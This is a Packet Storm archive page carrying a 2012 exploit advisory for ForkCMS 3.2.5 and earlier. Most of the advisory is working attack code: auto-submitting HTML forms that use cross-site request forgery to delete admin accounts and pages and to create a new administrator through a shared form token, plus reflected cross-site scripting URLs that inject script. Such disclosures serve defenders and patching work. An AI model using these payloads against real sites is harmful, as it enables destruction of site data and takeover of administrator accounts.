what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ForkCMS 3.2.5 Cross Site Request Forgery / Cross Site Scripting

ForkCMS 3.2.5 Cross Site Request Forgery / Cross Site Scripting
Posted Feb 22, 2012
Authored by Ivano Binetti

ForkCMS version 3.2.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | f2cfea65c69290c2400796628d74f7f284984e06498860b68fdbae6498326dde

ForkCMS 3.2.5 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : ForkCMS 3.2.5 Multiple Vulnerabilities
# Date : 21-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://www.fork-cms.com/download
# Vendor site : http://www.fork-cms.com/
# Version : 3.2.5 and lower
# Tested on : Debian Squeeze (6.0)
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
2.1 CSRF
2.1.1 Delete Admins or Users
2.1.2 Delete Web Pages
2.1.3 Privilege Escalation
2.2 XSS (Reflected)
3)Personal observations
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
ForkCMS is a cms with an "intuitive and user friendly interface".

2)Vulnerabilities Description
ForkCMS 3.2.5 (and lower) suffers from CSRF and XSS (reflected) vulnerabilities.

2.1 CSRF
ForkCMS 3.2.5 is prone to a CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages and do
privilege escalation when an authenticated admin browses a web page containing the following html/javascript code.
2.1.1 Delete Admins or Users
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete ADMIN/USER account</H2>
<form method="GET" name="form0" action="http://127.0.0.1:80/private/en/users/delete?token=true&id=2">
</form>
</body>
</html>

Note that the first id which is possible to delete is 2 because id 1 - named "Fork CMS"- is a superuser admin created during
installation phase (ForkCMS define this user "GOD-user") . IDs's numeration is incremental.

2.1.2 Delete Web Pages
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete Web Pages</H2>
<form method="GET" name="form0" action="http://127.0.0.1:80/private/en/pages/delete?token=true&id=405">
</form>
</body>
</html>

NOte that first id is 405 and IDs's numeration is incremental.


2.1.3 Privilege Escalation
ForkCMS uses a poor logic to manage sessions. It uses a parameter (called "form_token" and composed by 32 alphanumeric
characters) to manage sessions but suppose that you are a normal (not admin) user which sign in into web management
interface from the same machine (pc/notebook/server) and same browser of an administrator: ForkCMS will assign the same
"form_token" for both so this logic will allow you to use your "form_token" id to create a new admin with the following code:

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/private/en/users/add?token=true">
<input type="hidden" name="form" value="add"/>
<input type="hidden" name="form_token" value="token_number"/>
<input type="hidden" name="email" value="root@root.com"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="confirm_password" value="password"/>
<input type="hidden" name="name" value="root"/>
<input type="hidden" name="surname" value="root"/>
<input type="hidden" name="nickname" value="root"/>
<input type="hidden" name="avatar" value=""/>
<input type="hidden" name="interface_language" value="en"/>
<input type="hidden" name="date_format" value="j F Y"/>
<input type="hidden" name="time_format" value="H:i"/>
<input type="hidden" name="number_format" value="dot_nothing"/>
<input type="hidden" name="csv_split_character" value=";"/>
<input type="hidden" name="csv_line_ending" value="\n"/>
<input type="hidden" name="active" value="Y"/>
<input type="hidden" name="groups[]" value="1"/>
</form>
</body>
</html>

NOte that this logic is the same if you are two administrators or two normal users.
Also note that with little changes to this exploit you can modify any ForkCMS parameters.

2.2 XSS (Reflected)

http://127.0.0.1/private/en/blog/settings?token=true&report=<script>alert("test")</script>
http://127.0.0.1/private/en/users/index?token=true&error=<script>alert("test")</script>


3)Personal observations
I think that this is a very nice cms which can become great with some security improvements.
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close